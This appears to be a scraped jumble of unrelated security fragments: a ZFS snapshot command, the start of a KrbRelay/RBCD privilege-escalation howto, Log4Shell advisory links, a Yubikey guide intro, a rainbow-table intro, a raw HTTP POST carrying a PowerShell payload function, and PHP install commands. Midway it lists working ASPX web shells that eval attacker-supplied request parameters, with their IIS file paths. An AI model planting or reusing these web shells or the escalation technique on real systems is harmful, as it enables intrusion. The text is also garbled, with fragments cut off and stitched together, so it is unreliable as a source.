hljupkij

Backup

1. Take a snapshot

Take a snapshot of the zpool you wish to backup

zfs snapshot tank@backup-jan-2020

KrbRelay with RBCD Privilege Escalation HOWTO

Short HOWTO about one use case of the work from Cube0x0 (KrbRelay) and others.

TL;DR

No-Fix Local Privilege Escalation from low-priviliged domain user to local system on domain-joined computers.

Prerequisites:

LDAP signing not required on Domain Controller (default!)

Security Advisories / Bulletins / vendors Responses linked to Log4Shell (CVE-2021-44228)

Errors, typos, something to say ?

If you want to add a link, comment or send it to me
Feel free to report any mistake directly below in the comment or in DM on Twitter @SwitHak

Other great resources

Royce Williams list sorted by vendors responses Royce List
Very detailed list NCSC-NL
The list maintained by U.S. Cybersecurity and Infrastructure Security Agency: CISA List

"What the heck is a Yubikey and why did I buy one?": A user guide

(EDIT: Besides Reddit, I've also put this up on Github Gist)

So while looking for information on security keys before getting one myself, I got very confused reading about all the different modes and advertised features of Yubikeys and other similar dongles. The official documentation tends to be surprisingly convoluted at times, weirdly organized and oddly shy about a few of the limitations of these keys (which I'm making a point of putting front and center). Now that I have one, I decided to write down everything I figured out in order to help myself (and hopefully some other people reading this) make sense of all this.

Since I'm partly writing these notes for myself, there might be some back and forth between "exp

# Occurrences	Webshell Filename	WebShell Syntax
46	C:\inetpub\wwwroot\aspnet_client\supp0rt.aspx	http://f/<script language="JScript" runat="server">function Page_Load(){eval(Request["orange"],"unsafe");}</script>
35	C:\inetpub\wwwroot\aspnet_client\discover.aspx	http://f/<script language="JScript" runat="server">function Page_Load(){eval(Request["Ananas"],"unsafe");}</script>
21	C:\inetpub\wwwroot\aspnet_client\shell.aspx	http://f/<script language="JScript" runat="server">function Page_Load(){eval(Request["gttkomomo"],"unsafe");}</script>
13	C:\inetpub\wwwroot\aspnet_client\HttpProxy.aspx	http://f/<script language="JScript" runat="server">function Page_Load(){eval(Request["bingo"],"unsafe");}</script>
8	C:\inetpub\wwwroot\aspnet_client\0QWYSEXe.aspx	http://f/<script language="JScript" runat="server">function Page_Load(){eval(Request["XOrSeMr3kgWUdFf6"],"unsafe");}</script>
7	C:\inetpub\wwwroot\aspnet_client\system_web\error.aspx	http://f/<script language=

Rainbow tables

Introduction

A lot of water has flowed under the bridge since then, when the theme of rainbow tables was at its peak, but, nevertheless, the idea is entertaining. It is about this kind of intricate tables that I want to tell you.

	POST / HTTP/1.1
	Host: localhost
	User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
	Next-Action: x
	Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
	Content-Length: 459

	------WebKitFormBoundaryx8jO2oVc6SWP3Sad
	Content-Disposition: form-data; name="0"

	Function Invoke-EncodeAssembly
	{
	[CmdletBinding()]
	Param(
	[Parameter(Mandatory=$true)]
	[String]
	$binaryPath,

	[Parameter(Mandatory=$true)]
	[String]

	#!/usr/bin/env python3
	# SPDX-License-Identifier: 0BSD or CC0-1.0 or MIT-0 or Unlicense
	# Copyright (c) 2023, Ryan Castellucci, No Rights Reserved

	import io, sys
	import datetime
	import argparse
	import requests
	import operator
	import struct

	php -v
	pecl version
	sudo apt-get install php7.4-dev -y
	sudo apt-get install php-pear
	sudo apt-get -y install gcc make autoconf libc-dev pkg-config -y
	sudo pecl channel-update pecl.php.net
	sudo apt-get -y install libmcrypt-dev
	sudo pecl install mcrypt-1.0.3 # 7.4

	# php 7.4